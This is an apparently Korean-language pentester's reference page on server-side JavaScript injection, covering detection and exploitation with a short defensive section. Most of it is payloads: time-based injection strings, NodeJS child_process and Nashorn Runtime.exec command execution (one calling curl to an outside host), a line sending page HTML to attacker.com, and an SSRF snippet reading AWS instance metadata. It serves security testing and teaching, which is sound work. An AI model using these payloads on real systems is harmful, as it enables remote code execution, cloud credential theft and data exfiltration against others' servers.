Server-Side Javascript Injection

Introduction

SSJI(Server Side Javascript Injection)는 서버가 자체적으로 Javascript를 처리하는 엔진을 가지거나, 백엔드에서 Headless browser 등을 통해 처리하는 로직이 있는 경우 공격자가 이를 제어하여 서버사이드에서 원하는 Javascirpt를 실행하도록 하는 공격입니다.

Offensive techniques

Detect

eval(), setTimeout(), setInterval() 등의 JS 함수를 포함한 요청을 전달하여 서버 사이드에서 이를 처리하는지 식별하면 됩니다. 가장 간단한 방법으론 setTimeout과 setInterval을 이용한 딜레이 체크입니다.

Request

GET /import?unloadcode=setTimeout(a%3d1,%205000) HTTP/1.1

Response

HTTP/1.1 200

// 단 delay time이 5초 정도 발생한다면 백엔드에서 처리할 가능성이 높음

대표적으로 많이 사용되는 Payloads는 아래와 같습니다.

1\';var d=new Date();do{var cd=new Date();}while(cd-d<1);var>
'a';sleep(1) and 'a';sleep(10000)
a;sleep(1) and a;sleep(10000)
sleep(1) and sleep(10000)
$where:"sleep(1)" and $where:"sleep(10000)"
%5b%5d=_security and %5b%5d=_all_docs
%5b%24eq%5d=1 and %5b%24ne%5d=1
';sleep(1);var xyz='0 and ';sleep(10000);var xyz='0

Exploitation

RCE (Remote Code Execution)

때때로 Javascript는 NodeJS, JVM(Java Virtual Machine) 위에서 동작하는 Javascript 엔진인 Nashorn이나 Graal 등 서버 사이드 많은 권한을 가지고 동작하기도 합니다. 이러한 경우 SSJI가 가능할 때 RCE 등 큰 리스크의 이슈로 연결될 수 있습니다.

NodeJS

require("child_process").exec('curl%20cxcjyaf5wahkidrp2zvhxe6ola.odiss.eu')

Nashron

${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("ifconfig")')}

Inforamtion Leakage

백엔드 Javascript 가 사용하는 DOM이나 Memory에 있는 데이터들은 서버의 리소스입니다. 이를 통해서 DOM 구조와 소스코드를 탐색하고 중요한 정보를 탈취할 수 있습니다.

var data = document.documentElement.innerHTML;
document.write("<img src=https://attacker.com?q="+btoa(data))

SSRF

Javascript가 Server-side에서 동작하기 떄문에 ACL을 넘어 내부망에서의 웹 요청이 가능해집니다.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState === xhr.DONE) {
        if (xhr.status === 200 || xhr.status === 201) {
            document.write("<img src='"+btoa(xhr.responseText)+"'");
        } 
    }
};
xhr.open('GET', 'http://169.254.169.254/latest/meta-data/');
xhr.send();
// SSJI를 통한 AWS Metadata 정보 탈취 SSRF
// 운좋으면 RCE까지 가겠죠?

이후 주요 페이지 접근이나 우회 패턴은 SSRF와 동일하니 참고해주세요.

Other

이외 DOM Clobbering이나 Prototype Pollution 등 JS 기반의 테크닉은 모두 동일하게 사용할 수 있어 영향력을 높일 수 있습니다.

Defensive techniques

서버단에서 동작하는 Javascript는 Ruby, Python 등 스크립트와 동일한 권한이라고 생각하면 좋습니다. 가급적 사용자에게서 부터 입력 값은 받지 않도록 하고 혹여나 받아야 한다면 의도된 액션 이외에는 수행할 수 없도록 정확하게 검증이 필요합니다.

References

  • https://www.hahwul.com/2019/05/01/jqeury-prototype-pollution-cve-2019-11358/
  • https://www.hahwul.com/cullinan/dom-clobbering/
  • https://www.hahwul.com/cullinan/ssrf/